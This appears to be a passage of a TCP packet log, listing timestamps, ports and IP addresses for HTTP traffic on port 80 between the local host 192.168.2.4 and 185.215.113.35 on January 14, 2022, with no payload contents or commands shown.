Jan 14, 2022 12:30:15.719240904 CET	80	49920	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.719311953 CET	49920	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.723855972 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.724005938 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.724602938 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.724631071 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.728352070 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.728379011 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.734087944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.734236002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.734421015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.734428883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.734621048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.734630108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.734797001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.734805107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.734982967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.734991074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.735177040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.735187054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.735342979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.735443115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.735729933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.735739946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.735923052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.735932112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.736094952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.736104965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.736346960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.736555099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.736571074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.736752987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.736763000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.736923933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.736932993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.737098932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.737107992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.737296104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.737304926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.737377882 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.737430096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.737601995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.737611055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.737775087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.737782955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.737893105 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.737926006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.738063097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.738071918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.738243103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.738250017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.738415956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.738428116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.738589048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.738599062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.738760948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.738769054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.738931894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.738941908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.739120960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.739130020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.739399910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.739408970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.739578009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.739586115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.739748955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.739758015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.739927053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.739933968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.740094900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.740103960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.740288973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.740298986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.740458965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.740467072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.740715981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.740725040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.740726948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.740891933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.740900993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.741056919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.741066933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.741230965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.741238117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.741401911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.741410971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.741573095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.741580963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.741748095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.741756916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.741941929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.741954088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.742131948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.742141962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.742319107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.742328882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.742503881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.742516994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.742687941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.742697954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.742873907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.742882967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.743057966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.743068933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.743242025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.743252039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.743417025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.743427038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.743591070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.743599892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.743788004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.743956089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.744118929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.744127989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.744328976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.749759912 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.750206947 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.750323057 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.750657082 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.750684977 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.751965046 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.752330065 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.753813028 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.753922939 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.754307032 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.761025906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.761185884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.761435986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.761447906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.761626959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.761637926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.761827946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.761841059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.762042046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.762224913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.762234926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.762352943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.762531996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.762542963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.762702942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.762713909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.762882948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.762895107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.763056040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.763067961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.763284922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.763294935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.763468981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.763480902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.763663054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.763674974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.763782978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.763963938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.763974905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.764136076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.764147997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.764355898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.764368057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.764535904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.764547110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.764698029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.764709949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.764859915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.764869928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.765022039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.765031099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.765187025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.765197992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.765357018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.765367031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.765520096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.765531063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.765680075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.765688896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.765850067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.765861034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.766012907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.766024113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.766175032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.766186953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.766371012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.766382933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.766532898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.766545057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.766721964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.766731024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.766895056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.766906977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.767085075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.767096996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.767323971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.767338991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.767522097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.767532110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.767694950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.767705917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.767874002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.767885923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.768045902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.768055916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.768218994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.768229961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.768393040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.768404007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.768567085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.768577099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.768740892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.768752098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.768915892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.768927097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.769088030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.769098043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.769257069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.769265890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.769429922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.769440889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.769603968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.769619942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.769773960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.769785881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.769947052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.769958973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.770121098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.770134926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.770311117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.770323038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.770420074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.770519972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.770765066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.770901918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.771099091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.776774883 CET	80	49922	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.785566092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.785788059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.785797119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.785974979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.785984039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.786159039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.786166906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.786348104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.786358118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.786535025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.786544085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.786712885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.794848919 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.796560049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.796751022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.796761990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.796937943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.796947956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.797122002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.797132969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.797307014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.797321081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.797496080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.797508001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.797683954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.797694921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.797877073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.797885895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.797974110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.798141003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.798152924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.798315048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.798326969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.798486948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.798499107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.798683882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.798696995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.798867941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.798880100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.799053907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.799066067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.799232006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.799245119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.799403906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.799412966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.799575090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.799585104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.799743891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.799755096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.799916983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.799926996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.800091982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.800102949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.800357103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.800367117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.800530910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.800546885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.800707102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.800721884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.800882101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.800894022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.801055908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.801068068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.801227093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.801238060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.801400900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.801413059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.801570892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.801584005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.801740885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.801753044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.801914930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.801928043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.802083969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.802094936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.802258968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.802268982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.802432060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.802443981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.802620888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.802633047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.802803993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.802815914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.802989960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.802999973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.803175926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.803188086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.803349018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.803360939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.803524971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.803540945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.803697109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.803709030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.803868055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.803879976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.804037094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.804049969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.804214001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.804224968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.804385900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.804397106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.804559946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.804570913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.804733992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.804745913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.804845095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.804930925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.805754900 CET	80	49922	185.215.113.35	192.168.2.4
